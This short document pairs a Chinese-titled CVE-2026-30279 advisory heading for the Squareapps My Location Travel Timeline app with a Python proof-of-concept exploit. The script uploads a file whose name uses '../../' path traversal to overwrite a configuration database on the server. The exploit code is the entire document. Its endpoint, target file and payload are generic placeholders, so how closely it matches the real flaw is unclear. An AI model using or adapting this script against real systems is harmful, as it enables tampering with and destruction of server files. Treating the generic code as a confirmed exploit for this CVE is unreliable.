CVE-2026-30279 My Location Travel Timeline 任意文件覆盖漏洞

import requests # Exploit Title: Squareapps My Location Travel Timeline v11.80 - Arbitrary File Overwrite (PoC) # Description: This script demonstrates how an attacker might overwrite a critical file. # Target configuration target_url = "http://target-host:port/api/import_file" # The internal file to overwrite (e.g., a configuration or library file) # Attackers may use path traversal techniques like '../../' target_file = "../../data/critical_config.db" # Malicious content to write malicious_data = b"MALICIOUS_PAYLOAD_CONTENT" files = { 'file': (target_file, malicious_data, 'application/octet-stream') } try: response = requests.post(target_url, files=files) if response.status_code == 200: print("[+] File potentially overwritten successfully.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")